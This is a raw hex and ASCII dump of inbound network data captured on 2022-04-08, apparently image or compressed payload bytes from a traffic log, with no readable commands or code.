2022-04-08 08:02:44 UTC5790INData Raw: 6a 60 18 a9 80 05 80 63 11 80 43 53 3c 01 03 91 80 06 a6 00 1a 98 04 2a 53 00 0a 98 07 02 a1 c0 21 a9 80 05 80 63 e1 0c 63 80 04 70 c0 6c 02 1b 00 86 c0 02 cf 00 0b 96 01 8b 00 08 61 08 62 30 c4 44 e1 80 b0 08 58 06 2c 20 18 e1 80 d5 c3 03 ff d6 f4 20 31 f6 27 c5 0f 84 31 d1 8a 9a 8c 26 86 98 5c 77 8f 19 aa 9a 63 27 49 36 59 1a 2f 7d c6 47 00 83 46 18 8f 2c bf 35 87 47 ee 5b b8 e3 11 03 c3 9e 32 7d 3a 7a 9b 2e a5 ad 0d dd a3 dd f3 46 07 73 31 4c f1 c7 93 a6 ec 3b 31 f5 3d a7 59 b5 ef d1 df b8 48 ce 67 1c 37 c4 ea 7a 14 ca ad c0 e8 15 d5 ea af c3 1c e7 41 93 b8 59 c7 9f 6c e7 8d 6a cc ec 8e 23 7a b3 28 4b 2a 93 5e 38 f4 71 58 f3 32 d4 e7 9e e6 5b 73 96 58 ee 55 4c e0 77 75 19 37 a9 96 a0 e7 81 e1 44 f9 ec 89 dd a7 26 a0 e1 f9 48 5e 73 21 2d fc 93 e6 e7 3c
Data Ascii: j`cCS<*S!ccplab0DX, 1'1&\wc'I6Y/}GF,5G[2}:z.Fs1L;1=YHg7zAYlj#z(K*^8qX2[sXULwu7D&H^s!-<
2022-04-08 08:02:44 UTC5798INData Raw: 94 f0 fb f1 d1 8f 3b 7c 4e 7c 9d 3a 5c 0c 3b bd ae ea c9 75 cc ba 41 34 c7 5d 72 2b 70 38 ad 89 d7 56 07 4c 6a 62 2e 18 06 31 cf 00 88 d3 0c 91 60 10 d8 06 2a 73 c0 10 35 30 c2 06 a6 01 0b 9e 00 15 30 00 c4 60 01 88 c3 01 11 82 40 62 30 04 0d 4c 12 02 a6 78 00 54 c0 04 69 87 20 2d 38 24 42 a6 10 11 a6 18 0a 98 00 6a 60 01 e9 9e 00 15 30 80 5a 70 48 0d 4c 30 1a 98 00 6a 60 01 53 00 0d 4c 00 2a 60 10 d4 c0 02 a6 00 1b 00 0d 4c 00 2a 60 01 60 01 a9 86 02 a6 00 15 30 80 54 c0 02 a6 01 8d 4c 31 0a 98 00 6a 61 00 a9 80 08 91 96 18 0d 4c 02 15 30 48 0d a7 04 80 da 70 48 0d 4c 00 2a 60 90 23 4c 31 0d 86 21 53 00 c6 a6 00 81 88 c0 48 d4 c0 03 d3 01 43 53 00 1f ff d2 f4 ac 7d 61 f1 a2 a6 00 15 30 00 b0 c4 35 30 86 3d 30 00 f8 00 7a e0 18 e0 e1 00 ab 86 21 0c 00 38
Data Ascii: ;|N|:\;uA4]r+p8VLjb.1`*s500`@b0LxTi -8$Bj`0ZpHL0j`SL*`L*``0TL1jaL0HpHL*`#L1!SHCS}a050=0z!8
2022-04-08 08:02:44 UTC5814INData Raw: 2a 60 91 8f 4c 20 15 30 00 d4 a6 09 10 f4 c0 31 53 00 0d 4c 12 02 a6 1c 88 54 c1 23 1a 98 24 42 c2 01 61 c8 0b 08 06 38 60 23 80 06 a6 00 15 30 00 a9 80 06 c0 02 c3 01 60 01 0c 20 16 18 0b 00 0a 95 c0 02 c0 02 c0 02 c0 03 d3 00 0b 00 0b 00 c5 80 05 80 43 e0 01 60 18 f8 40 31 c0 02 c0 21 61 00 b9 60 01 60 18 d8 04 36 18 0f 84 31 b0 08 58 00 58 00 6c 30 16 00 16 00 16 00 16 09 01 53 00 0a 98 43 18 e1 88 62 30 c6 36 00 1f 08 05 80 43 61 80 b0 86 2c 00 2c 00 2a 60 01 b0 c0 58 04 47 00 08 e0 01 61 00 b0 c0 58 00 6c 00 2c 00 2c 00 38 18 40 36 00 15 30 80 58 72 03 60 01 60 90 16 18 0d 84 02 c0 02 a6 00 15 30 00 88 c0 02 a6 09 01 b0 00 d8 00 47 0c 06 c0 02 c0 02 c0 02 a6 58 40 2a 60 01 61 88 58 06 31 c0 03 60 10 a9 80 05 4c 03 1b 00 85 4c 00 36 00 15 30 00 b0 00
Data Ascii: *`L 01SLT#$Ba8`#0` C`@1!a``61XXl0SCb06Ca,,*`XGaXl,,8@60Xr``0GX@*`aX1`LL60
2022-04-08 08:02:44 UTC5830INData Raw: 90 ee 4e 3f fe 26 62 0f 13 ac e7 8b f2 ab d8 67 e6 db b4 1e 4b 89 a7 6d 52 c8 e6 a3 9b 62 95 52 e0 4b 72 51 23 c7 11 1a 87 c3 16 94 8a 47 ee e9 1c 09 af 9d 3f 76 08 1c 83 b4 7d ca d7 2a e3 49 83 32 71 c2 88 72 15 1e 78 4e c0 91 68 58 d0 65 c3 c3 11 25 e8 8a e7 73 22 68 4c b1 75 d0 97 a8 30 b3 20 6a 76 fd b8 d3 79 1b 46 9a 06 d0 1d 49 7f b0 e0 ad 84 d1 4c 65 94 d0 d4 1f 3a e3 46 42 2f 8e 59 5b a4 0c fc 31 0d 22 a4 b2 26 d5 d2 c3 4b 79 e5 5c 4b 1a 23 7b 75 1e df 17 76 53 a4 0e 14 e6 7c 06 21 d9 2d 59 47 3b 37 bb 6e 03 52 1b 60 1c 8a a9 90 55 3e d2 72 39 63 91 e6 9f 4d 4e 8a 2d ae 4c a7 f7 26 f2 f7 5a e1 95 d3 48 20 3a b0 8c 01 cf d3 4c 65 6d ad 6b a9 d6 ba 8b 57 86 9e a2 df fc 8b 73 b8 8d 91 ee 64 96 b9 9d 52 12 b5 19 8e 62 b8 e7 da 93 29 f5 37 7c d9 55 dd
Data Ascii: N?&bgKmRbRKrQ#G?v}*I2qrxNhXe%s"hLu0 jvyFILe:FB/Y[1"&Ky\K#{uvS|!-YG;7nR`U>r9cMN-L&ZH :LemkWsdRb)7|U
2022-04-08 08:02:44 UTC5838INData Raw: ad 07 e9 f5 54 ff 00 2f e1 c7 98 f1 59 f8 9f 13 59 4c c3 b9 de 2f 22 dc 27 97 ea 11 23 99 55 34 97 f5 29 52 b9 01 e3 5a 54 63 74 9c 73 06 73 10 ed 37 d6 57 17 70 5b 3a 37 7a 30 8a dd c1 d3 ab a9 87 8f 2c f1 d8 ee 9a 53 c8 c3 6b e4 03 b5 7b 63 78 8e e9 c1 34 68 c1 0d 42 08 65 61 f2 93 c6 b8 da f9 eb 03 a6 2b 49 dd 6d 5e ea de b6 5d ae 5b 0b 73 2c 36 2a 45 08 22 b9 f1 09 f3 28 63 f8 71 cd e6 be 4c e8 f2 d1 97 bc fb 87 dd 37 b6 9f 45 77 23 c9 1c 84 38 84 9a 9a 2d 29 55 fc b9 62 eb 91 3e 66 3e 59 d3 5b ff 00 73 fd d9 65 67 04 4b 0b b3 c6 48 6d 51 7a a9 c0 12 79 63 15 92 1f 15 00 e9 08 e4 af 3d ed ee cd ca f9 cb 77 d6 46 22 b4 d4 00 5a d4 52 9d 34 18 e8 94 d4 c9 82 ac b8 83 b3 4f ee a7 b8 b6 e9 60 5b c6 12 44 19 35 30 4f 58 ad 08 a0 15 0c 70 a9 7d c6 8e 8d 70
Data Ascii: T/YYL/"'#U4)RZTctss7Wp[:7z0,Sk{cx4hBea+Im^][s,6*E"(cqL7Ew#8-)Ub>f>Y[segKHmQzyc=wF"ZR4O`[D50OXp}p
2022-04-08 08:02:44 UTC5846INData Raw: 2a 51 2b ef 7e 43 64 8d f4 ea d2 04 1d 64 72 1c 38 f2 c2 a7 46 ed c4 99 81 ed fd d4 2e ed 96 62 cc 22 ae 6d db 2e 7c 94 e8 05 b1 bf f6 d0 ce ba 35 12 01 bb 7b b9 2d 84 57 0a 8b 72 91 90 54 cb 19 50 1a a7 e5 6d 3e 15 e1 8d 6b d3 4e 9c 02 f9 a0 d9 bc f7 46 f9 bf da da 5e ed 91 1b 64 62 51 bb 70 b3 a1 20 fa ce 90 ff 00 f2 e3 8d 61 a6 36 d5 b5 f6 9b f9 8e c9 34 7a ab 5b d9 cb 60 92 dd c6 93 c7 db 06 46 30 d1 75 01 d5 d2 e3 a7 3f 1c 78 4d b4 f4 3a 9a 93 26 fb da 3e d9 ba 91 63 9f 6b b7 76 70 48 3d b0 be 9a 57 35 a7 8e 36 af 51 91 70 b3 39 dd 2a f8 a3 02 e7 d8 be cf 45 17 d1 ed dd b7 8e 75 40 52 47 5a 30 90 47 5c 8f 8f 96 3a 57 57 97 86 e3 35 8e bd 81 b0 ed 56 76 9b a4 b6 ed 75 33 09 22 47 0d 33 2b 69 25 d9 34 29 1a 78 fe fc 64 f2 37 5e 0b d8 4d a8 8c 99 a7 bd
Data Ascii: *Q+~Cddr8F.b"m.|5{-WrTPm>kNF^dbQp a64z[`F0u?xM:&>ckvpH=W56Qp9*Eu@RGZ0G\:WW5Vvu3"G3+i%4)xd7^M
2022-04-08 08:02:44 UTC5862INData Raw: 72 ea 86 b3 47 20 29 7f b6 d7 99 76 2f 87 41 aa d5 48 a1 fb 0e 34 5f e5 ab ce a5 f9 eb b0 cf 6f ed ee ff 00 6f a9 a2 ba 8d c9 04 0c ca 9c f1 d4 bf ca 62 7c 53 13 ca 98 1d 97 b2 7d cf 66 b3 40 55 4c 72 d0 12 b2 0a e5 cc 57 9e 3a 2d fe 43 05 a1 cf 0e e2 96 44 6a 2f b3 37 9b 48 f4 40 75 82 ba 6a d2 00 c3 51 ea 39 70 c7 3f ff 00 90 c4 f8 fd c6 ab 25 4d 48 3f b7 8f 6e 85 e1 99 4d c3 81 a9 98 b6 54 e4 a4 72 f8 e3 9a df e4 ab 6e 2b 41 f9 95 0d 6d 8f 79 da 56 26 db 1e 07 94 0d 2f ae b4 a7 da 3e fc 62 ba ac 57 9d f2 35 7a 96 5b ec db ac f2 f7 ee 12 04 98 e4 5d 24 39 7c 01 14 c5 3e a7 1a 50 9b f7 02 bd 7b 42 6d 36 3d d6 d9 ea d7 2b 2a d3 81 62 3f 83 61 3e ab 1b e4 3d e8 e7 f7 8b 9f 75 6d b2 3b 4c 5d e1 76 d2 3b 15 35 07 c7 8f d9 8f 43 0d b0 dd 69 f6 94 ac 9f 33 0b
Data Ascii: rG )v/AH4_oob|S}f@ULrW:-CDj/7H@ujQ9p?%MH?nMTrn+AmyV&/>bW5z[]$9|>P{Bm6=+*b?a>=um;L]v;5Ci3
2022-04-08 08:02:44 UTC5878INData Raw: 7a 48 a8 fb ce 32 b6 35 57 0d 98 5b 02 40 b7 1e e4 bc b5 3a 5e ce 43 4f c2 6a 3e f1 86 b1 27 cd 19 f9 06 ae d3 7c 9b a2 16 b8 4e c9 a8 06 a7 c7 ec c6 19 2b b7 80 de 18 0c 36 fb 6b 39 57 9f b6 47 32 ad 4f be 98 84 d8 2c 2d 90 16 b6 8f 37 d3 43 77 11 62 2b 52 d4 1f 7e 2a 1c 4c 12 f0 04 ff 00 42 9d 53 b8 b3 db 94 1c 6b 3a 2f fe e2 30 93 17 90 fb 8c 4f ea 56 eb ff 00 cd 18 e2 3f dc 19 91 91 a7 db 8b 75 67 3b ac 16 34 e4 9c a4 8e b4 07 36 5e 07 87 13 89 91 6d 66 92 6c 1b dc 89 dd 4b 29 5e 3f c4 88 48 f1 e2 b5 c5 a8 66 cb 0d 9f 20 6b 8b 59 ac a1 ef ee 10 cd 04 5c 35 b2 95 1f b4 60 89 e0 4b c5 65 c5 19 70 ee d6 37 44 c7 6f 77 0f 70 9a 25 6a 0f 1e 60 fd d8 6f 15 97 14 55 71 f6 a3 4a ff 00 6f de 6c 50 ff 00 db 19 1b 97 23 e7 d2 48 fd f8 ca b0 f8 b8 35 ae 24 de ba
Data Ascii: zH25W[@:^COj>'|N+6k9WG2O,-7Cwb+R~*LBSk:/0OV?ug;46^mflK)^?Hf kY\5`Kep7Dowp%j`oUqJolP#H5$
2022-04-08 08:02:44 UTC5886INData Raw: 79 8f b4 7b 50 cd 61 64 e7 38 50 d7 cb 0b cc 7d a1 b1 76 10 fe 9d b7 8c cc 0a 0f 95 70 fc d7 da 1b 2b d8 56 76 9d b1 b3 30 e7 e4 5b fc f1 a2 ca fb 45 e5 d7 b0 a5 f6 5d ad c5 0c 64 83 c8 b1 c3 f3 ad da 1e 5d 4b 23 d9 b6 f5 ff 00 6c 15 a7 85 3f cb 07 9a d8 fc aa 8d 26 d7 00 25 91 c8 25 4a 8a 8a 8f 8e 2d 66 68 3c a4 56 36 f9 23 40 aa c0 d0 66 78 62 de 69 d4 cd e1 21 f4 52 73 20 fd b8 5e 62 23 ca 63 1b 47 4f 4a d7 ed c3 f3 10 bc b6 56 62 94 67 d9 3f 7d 70 6f 44 ec 65 7a 73 ea 42 0f c0 e2 5b 21 d5 92 a2 9e 19 62 19 24 4c 4b cd a8 31 20 44 84 e4 6b 87 02 16 85 3e 67 0c 08 49 12 91 cc 1f 2c 50 8c cf e9 7a 66 32 99 25 35 e2 0b e5 fb b1 a3 be 90 30 c4 55 8d 68 b5 fb 49 38 c8 91 c3 b0 61 5c b8 e2 a0 65 81 d8 fc 30 a0 63 80 4e 01 1f ff d3 f9 a6 c3 dc 6c f2 c8 2e ea
Data Ascii: y{Pad8P}vp+Vv0[E]d]K#l?&%%J-fh<V6#@fxbi!Rs ^b#cGOJVbg?}poDezsB[!b$LK1 Dk>gI,Pzf2%50UhI8a\e0cNl.
2022-04-08 08:02:44 UTC5902INData Raw: e5 69 b5 69 60 81 89 e9 20 71 14 1f 2f a6 b8 f9 c7 fe 61 3b 27 0f c3 a1 16 ea d5 94 41 c6 9f 69 47 0c f2 49 34 f6 d2 b8 d3 18 20 c8 bc 72 1f 26 79 9a 65 8f ac af 5b e1 98 d3 8f 15 fb 4c 2d 62 d1 fd a6 de a3 0c 96 f2 5b c7 11 e0 01 72 3f f6 e3 ca 7f ff 00 71 e1 7f 2d be cf da 61 e6 00 5a ff 00 67 7d c3 b7 4d df 33 db b5 18 36 91 a8 93 9f 0a 15 c4 64 ff 00 3f 8a d5 8d b6 53 ea fd a5 3c 92 03 bc dd de 7d 5b c7 69 32 a0 42 41 4e e5 1b 51 c8 fe 6e 26 94 18 cf 05 2b b5 3b 29 9e e3 96 0c 4b dd c4 da 5d c7 17 79 9d 94 75 bc 84 80 a6 bc 97 8e 3d 0c 78 b7 55 b8 8e c4 86 a4 be e6 fa e1 0b fd 6e b6 89 74 b3 3c 6c 06 6d 4a 6a 6f bb 2c 45 71 a7 1b 62 7b 19 4e 59 65 a6 e2 b1 c2 1a 00 c8 ca 6a 8e 2a 4b 1a f0 f3 38 59 31 ce 8f da 4c 1b 17 a7 7a 48 a0 bb 2a 49 cc 00 4d 01
Data Ascii: ii` q/a;'AiGI4 r&ye[L-b[r?q-aZg}M36d?S<}[i2BANQn&+;)K]yu=xUnt<lmJjo,Eqb{NYej*K8Y1LzH*IM
2022-04-08 08:02:44 UTC5918INData Raw: a7 48 4b ea b1 9b 4b 89 ad 6f 1a 98 ca ca d4 07 2c c9 39 53 3f 86 38 ac f5 d0 de 91 06 50 f6 ed b4 1b 8a de 42 d2 b9 61 42 15 80 4a 0c c7 3a e5 f9 71 d9 fd cd ad 4d ae 3f e4 2f 2d 72 27 bb 7b 71 77 a8 7b 13 4a e9 11 22 aa 94 50 48 35 cc f1 38 9c 3d 57 94 e5 24 df 78 6c 31 37 ff 00 68 5b df 5b 20 96 ea e6 46 84 fa 51 81 2c 68 32 3e 5c f1 e8 74 dd 6b a5 9c 56 ab 77 69 95 92 45 c7 63 b2 da fb 72 c5 14 d7 0e 73 0a c3 25 af a8 90 29 9e 55 d2 71 1f dc 5b 24 a6 d5 41 f7 14 ef 9e ce 1b b0 81 2c 6f 0d 9a 44 dd c1 12 47 51 a8 f3 26 a1 ab 8b e9 fa ef 2a 5d eb be 7c 3b 9b f4 45 c2 3a 6d bf 61 b5 b0 71 72 83 55 d1 1d 72 70 d4 4f 13 4f 3c 79 59 7a 9b 64 5b 5f c3 d9 d8 6f 0a 0d 13 0a 76 fa 94 16 3c 6b 9f dd 8e 5d ce 4c e0 09 8d dc 73 28 85 40 87 3d 4c 5b 33 f0 03 1b ad
Data Ascii: HKKo,9S?8PBaBJ:qM?/-r'{qw{J"PH58=W$xl17h[[ FQ,h2>\tkVwiEcrs%)Uq[$A,oDGQ&*]|;E:maqrUrpOO<yYzd[_ov<k]Ls(@=L[3
2022-04-08 08:02:44 UTC5925INData Raw: 8e e3 50 b6 5c 3e 23 1b 78 55 f7 35 fc a0 ad a0 5f d2 4f 3d b8 8a e2 56 90 64 49 0d a4 31 1f 0e 5e 58 c3 7a ad a5 28 fb 4d 34 7a 03 db ec df 47 33 cd 19 6e b1 4a 12 69 8d 6d 9f 7a 87 c8 16 38 2f 8e c2 dc b9 26 2d 26 83 33 51 5f 2c b1 9b c8 e3 89 50 5e 16 1b 54 36 d6 f4 5c 8d 14 70 cf 8f 9f 1c 67 ad 9e e6 12 64 d9 3d e4 6b 2a 5d b3 48 ba 99 86 98 f4 e5 f8 73 fd f8 ec c8 aa e1 d7 4f 6f da 73 c3 09 db 66 93 70 81 25 68 5e 03 4a 80 d9 71 ff 00 19 e3 2c b5 54 71 2a c0 90 5c b7 c2 d9 c4 72 12 c4 fe 11 97 df 8c 56 3d ca 51 aa b4 14 6e 3b 49 dc d4 34 72 b4 24 90 43 2a e7 51 98 ad 71 a6 2c de 5f 15 b8 d9 d7 71 76 df b3 cf 65 29 73 73 24 ab a6 81 5e 87 ed af 1c 46 4c ca ea 36 a5 ea 2e b8 e3 50 b8 84 aa ad de 2a 5c 92 40 5f c3 cb ed c6 36 8e 45 08 87 90 a8 50 29 f3
Data Ascii: P\>#xU5_O=VdI1^Xz(M4zG3nJimz8/&-&3Q_,P^T6\pgd=k*]HsOosfp%h^Jq,Tq*\rV=Qn;I4r$C*Qq,_qve)ss$^FL6.P*\@_6EP)
2022-04-08 08:02:44 UTC5941INData Raw: 4a c5 9a bb 83 a5 7a 6a 68 33 ad 72 c6 69 4e bd 84 da d2 64 5f 6d 92 5e 2c d6 d7 65 e4 82 58 c4 5a 01 55 cb 3c f2 cc 1c f1 d7 8f 2a a4 5a b0 9a 7b a7 56 73 ed 6c ba ca cc d8 59 ad a4 48 18 28 0a a9 2b 06 34 1e 19 72 c4 64 be fb 6e 7e fa a3 65 46 91 9b b4 cb b9 c5 33 1b f3 0c 48 ee 69 a1 96 a3 e5 58 f2 ca 94 f2 19 9a 67 8e ac d5 c6 d7 82 5e 9c d3 fe a2 12 68 de 7b bc f4 32 90 07 3a 71 03 1e 72 a7 30 b5 88 47 3a 2b ea 56 d5 52 2a b4 15 a7 2c f1 4e ae 0c d1 5d c5 db c5 1b 34 0b 57 e2 aa 5c d0 f8 d4 f0 1f b7 15 5a 26 f5 fb 8b 6c c6 f6 d4 fb ab db 1b 6d e8 00 e4 b1 57 57 5e a5 24 90 32 cc 1f 2c 77 75 75 c6 ad bb 17 ba 1f 12 2b d8 74 11 bc 69 58 a3 51 a7 55 0f 01 f7 0a 67 8f 35 a6 f5 66 b5 2b b9 91 21 84 81 09 91 86 61 00 51 5c fc 3a 46 58 aa 26 df 18 ef d4 6d
Data Ascii: Jzjh3riNd_m^,eXZU<*Z{VslYH(+4rdn~eF3HiXg^h{2:qr0G:+VR*,N]4W\Z&lmWW^$2,wuu+tiXQUg5f+!aQ\:FX&m
2022-04-08 08:02:44 UTC5957INData Raw: 8f fd b6 52 28 64 ad 08 a7 1c b0 a1 1a 20 0f 71 6d b1 5c 59 7d 2d f4 f2 34 d2 35 7b de 14 f9 44 7c 4f e1 e3 c7 ab 1e ae 1b 46 a6 89 9e 79 7d ec dd fe d4 bc d3 a0 10 84 d6 19 bd 4d c9 7a 45 5b 51 3c 31 ea d7 25 5a 19 8d 16 e5 a9 43 b0 22 6a e6 49 e3 fc 6b 5c 3b 63 82 4f 45 da b7 18 2f ac fb d0 74 02 b9 90 29 56 02 94 35 e3 4c 7c be 7c 6e b7 87 db f6 10 ce 1f 7d 74 8e e6 3b a7 65 11 13 a6 80 75 02 28 4f c7 1e f7 4e 9b ab aa e2 52 01 df 67 ed 2a b2 4d a8 38 cc 0c b2 e5 5c 74 74 f5 9e 2b 80 d2 93 ff d4 e5 56 ea c2 e8 46 1e 31 de 6a 1a 32 12 45 41 e3 c8 70 c7 e0 ee 97 ac c3 d3 d6 78 ee c4 45 d4 cb 73 24 4f 6e 59 32 d3 46 c8 65 98 35 c3 d8 b6 a6 9f d8 34 cc dd ca c7 77 bc bb 8d ec ee 23 8a da 33 57 8c e6 49 a6 4a 39 52 b9 e3 ab 16 4c 74 ab 56 4d d9 f0 b1 0d 8d
Data Ascii: R(d qm\Y}-45{D|OFy}MzE[Q<1%ZC"jIk\;cOE/t)V5L||n}t;eu(ONRg*M8\tt+VF1j2EApxEs$OnY2Fe54w#3WIJ9RLtVM
2022-04-08 08:02:44 UTC5965INData Raw: ea d0 01 39 00 70 5d d5 57 47 ea 5c fb 24 b5 50 d3 0b 5a 28 61 ea 5a e9 51 5d 35 f3 03 2f 85 06 30 dd b8 d1 d4 8d b6 e7 79 2c 67 eb 07 ea 92 42 f6 c1 2c 72 f3 cb 33 87 6c 55 4f c3 c3 bf 81 9e d2 8b 3d d6 e4 c6 60 ba 01 66 4a 39 42 4d 51 75 7c dc b2 1e 9f 1c 69 7c 35 99 af 07 a4 fd 4e 39 0a 0b 25 6b db eb 98 ae ed 27 66 b7 44 65 35 1d 34 3c 8d 73 d5 f7 e2 52 ad 2a eb 65 e2 91 31 43 24 d2 5c 1e fa ea af a5 8b 06 cc 71 01 69 96 0b 24 96 9f b0 80 7d c2 0b 1d c5 fe 92 f6 36 76 75 a9 a8 e9 14 39 02 c3 9f 3c b1 a6 2b 5f 1f 8a 8e 23 de 54 04 41 1d bd ad 98 fa 56 0f 0c 64 0a 33 d2 94 34 26 a7 f0 8c 65 67 6b 5b c5 c5 f7 09 a1 86 e1 3d c7 72 58 e3 05 54 74 3d 75 06 fe 5c 3f 29 56 13 7e b5 c2 08 68 cb 6b df 72 22 8a da c6 54 01 56 d6 09 62 5b 86 79 53 ff 00 6e 3b 36
Data Ascii: 9p]WG\$PZ(aZQ]5/0y,gB,r3lUO=`fJ9BMQu|i|5N9%k'fDe54<sR*e1C$\qi$}6vu9<+_#TAVd34&egk[=rXTt=u\?)V~hkr"TVb[ySn;6
2022-04-08 08:02:44 UTC5973INData Raw: 3a 3e 55 c7 55 2e f2 cd 68 d6 24 bb f9 be fe f2 bd 46 a4 bb 8b c7 03 5d d2 77 b7 55 e9 82 38 80 1d 59 54 05 1a 83 fc 71 c6 b1 4b db e1 56 e7 6b 3f df 1b 46 43 64 db 85 a5 b2 10 2e 12 dc ad 5b b8 47 75 5b d2 ab 90 07 21 e2 3e 38 ac f9 77 59 fc 2e dd df 07 78 71 05 b9 f6 7c 57 11 76 a4 bd bb d2 ae ed db 47 5a 93 f3 2e b2 bc f9 e3 6a 75 ae ae 55 69 c1 6a d3 f7 ed 91 87 6d bb 56 dd 60 7b 50 4d 22 c8 28 34 97 aa e7 c9 b2 1a b1 cf 97 35 ef ab 4a 3d 5e 90 66 d9 75 d2 db d5 cc aa b5 0a a1 8d 05 40 63 4c 9b 8a 54 78 62 29 bb 48 f4 8f bc 24 ae cd 60 ba 84 22 cd 24 91 2f 18 c8 34 03 f0 f0 19 03 e7 8a bb 75 73 09 3e df c4 53 04 99 42 49 70 7b 4a b1 20 5e d1 2c 2b 50 09 62 00 cc 71 c2 4e 52 d7 57 3b bf 01 c8 0e e3 bd d8 44 ff 00 53 b9 46 bd 0a 0a 48 6a fa 1b f0 83 ea
Data Ascii: :>UU.h$F]wU8YTqKVk?FCd.[Gu[!>8wY.xq|WvGZ.juUijmV`{PM"(45J=^fu@cLTxb)H$`"$/4us>SBIp{J ^,+PbqNRW;DSFHj
2022-04-08 08:02:44 UTC5989INData Raw: 0f fe 2c cf 64 19 1e df f7 84 d7 d3 ac f7 7a fb 4f 2b c3 1b f6 ca a1 d0 de 20 37 51 5c a8 74 d3 1d bd 4f 42 a8 a2 bc 52 56 b2 9f 17 89 0b 6c 30 cb cf af 79 5e e2 c9 01 95 7a 9e ac 33 40 c4 ac 7c 4f 54 98 c7 1e c4 b6 d9 e9 cb d7 ce de aa 88 d6 b0 99 f7 38 04 c6 3a 2d 0e b4 9a 31 5d 40 00 28 4d 45 17 c7 9e 38 b2 55 63 71 3e a7 56 69 10 01 2d fe ef 38 93 45 a4 69 3f aa 2e e0 56 8c d0 69 00 48 2b 43 c1 b3 a7 f0 c7 42 c7 8d 44 d9 b5 f3 6d 95 6e df 84 36 18 d0 ec 77 c6 73 71 bb dd a6 99 50 47 58 c3 00 1b 25 f9 fa 6b c2 9a 47 ec c7 7d ba 8a 44 63 af 07 3a c7 fc 7f 13 16 a1 8a f7 71 b2 da 2e 6d ac 0a a3 5a 39 62 65 64 3a 04 a4 8d 1a 9a 9a 57 3c c7 ee c1 4c 56 cb 5b 5f e6 5f 2c f8 b6 73 ef 65 9a 36 96 97 4a a2 db 70 bb 57 69 0c 8b 18 56 a0 64 39 8a e6 7e 1a 54 e6
Data Ascii: ,dzO+ 7Q\tOBRVl0y^z3@|OT8:-1]@(ME8Ucq>Vi-8Ei?.ViH+CBDmn6wsqPGX%kG}Dc:q.mZ9bed:W<LV[__,se6JpWiVd9~T
2022-04-08 08:02:44 UTC6005INData Raw: 8e c5 20 de a5 49 a4 77 aa 2a a9 62 84 1e 23 f0 e9 f0 e1 5f db 8f 43 a5 c5 93 27 ff 00 3a b5 58 d6 74 dc 74 63 76 9d 0d 3b 3d f2 0b b4 06 aa 92 81 d7 18 24 d2 bc 0e 5d 3a 79 7c 71 8e 55 91 68 db 75 ed 37 b6 5b ae 2c e7 77 0d ee ce de fa 2b 2b d8 02 c0 d1 d6 36 7d 64 b3 21 39 8e 1c c8 af d9 8e cc 5d 3d ad 47 6a 3d 67 58 8e 16 38 8d cf eb 56 72 a3 a2 36 45 0a a9 d5 93 13 97 4d 48 6f 81 18 f3 fc 8b 27 2f b7 b3 87 ac 93 31 e6 b1 db 5d 6c b6 fd 46 76 ea 08 d2 0f 57 cb 52 4f 3c b3 6f e5 c7 5a ad f2 2d d7 e1 db 1e f1 d5 49 0d cb dc 17 fe de 22 6d c5 25 78 98 92 4a a9 31 a3 0a d5 58 80 cd f9 7c 0b 0a e3 4c 5d 1d 73 af 04 7f c9 fd c8 df ca 6f 80 46 d3 ee a4 dd d1 2e a1 78 64 0e e7 49 77 d1 a6 be a5 15 00 f4 53 3a e6 d8 e7 cd d1 f9 4f 6b 4d 47 62 dd ea 7e d3 17 56
Data Ascii: Iw*b#_C':Xttcv;=$]:y|qUhu7[,w++6}d!9]=Gj=gX8Vr6EMHo'/1]lFvWRO<oZ-I"m%xJ1X|L]soF.xdIwS:OkMGb~V
2022-04-08 08:02:44 UTC6013INData Raw: 90 3d 34 20 01 74 aa 8e ac c8 2a d9 9c b9 e1 db 2e f4 d5 ac bb 5f 1d 5f dc 26 c7 db 92 c4 ea 78 22 41 21 67 0c aa 46 87 91 69 53 c3 87 ec a8 f4 e0 ca ef c1 b7 1a 7e a5 51 cb 34 2f 1b bf 02 2b 84 ec d3 49 53 91 a9 19 e7 e9 66 2d c2 9f 2f 9e 39 a8 a1 b8 99 f4 f6 a5 02 65 3f 57 18 97 b3 7b 00 56 3d 2a 09 c9 f2 a9 cc fa 8d 28 33 e1 8b d8 e2 6a ff 00 77 ec 04 8b 2e 6e 9e c5 0c 81 59 c8 24 a2 c4 00 27 2c 86 5c 7f e6 c4 d2 9b dc 70 ed dc 33 2a 1d d2 2d ed 96 49 63 9c c2 73 12 31 20 a1 19 95 cf 30 7a 7a 94 7c 31 d7 6c 2f 0e 89 d6 7e 9f ab d2 78 89 9a db 8b c5 70 8d 1d 8a 83 38 5a ad 05 28 58 74 d7 3e 34 35 c7 1e 24 ea e6 fc 04 c0 12 d3 74 b4 ed 98 e3 59 ae 0a 84 69 8b 00 d4 1c 6a 0f cb f0 c7 4b be 3b 4c bd b5 e2 aa 34 a4 b6 d0 4d 6b 4b 44 8d 1e dd 57 2a 12 cc 18
Data Ascii: =4 t*.__&x"A!gFiS~Q4/+ISf-/9e?W{V=*(3jw.nY$',\p3*-Ics1 0zz|1l/~xp8Z(Xt>45$tYijK;L4MkKDW*
2022-04-08 08:02:44 UTC6029INData Raw: 03 13 42 45 2b 9d 7e de 1c 71 d4 e8 ef 0f da 55 9c 90 b7 8a 22 b1 fd 2d 12 32 72 55 35 71 5a 36 5c b2 18 ab 37 ae ed 5f d8 44 9b 1b 8e e7 10 b4 67 91 b4 46 a4 0d 54 01 8a 8e 3c bc 78 e3 87 16 27 bb 4d 5f d8 20 18 2f ec ef ed 40 12 3c 8a 8a 08 2c 2a 08 a7 a4 72 fe 62 33 c7 45 b1 da 96 e0 97 a7 1f d8 36 cb 6d 84 37 f0 0f a6 91 c1 27 49 36 e6 9c 07 03 f2 a8 35 cb 2c 4d a6 8f c4 97 f3 93 25 32 c5 69 34 c5 5e 0e e4 b6 a7 5a ae 91 9b 81 93 50 64 4f fc 31 69 d9 2d 1c 2b e9 fc bd 81 2c 94 2b b8 de 48 b3 5e db a2 5b 04 04 46 e0 31 0d ea a9 ce 8a 39 d7 0a ce 94 51 56 dd a7 8a 09 2a 8a ea e4 54 36 99 25 3d 4d a2 8f 5a 01 c3 85 0e 2d d2 be a5 df e1 3d 4e 99 2b 71 0c bc b6 89 20 fa 89 0a e9 03 35 6f db 42 b4 fb f9 63 0a 5d b7 0b d3 de 61 96 24 ae f2 68 60 8e 3b 08 e5
Data Ascii: BE+~qU"-2rU5qZ6\7_DgFT<x'M_ /@<,*rb3E6m7'I65,M%2i4^ZPdO1i-+,+H^[F19QV*T6%=MZ-=N+q 5oBc]a$h`;
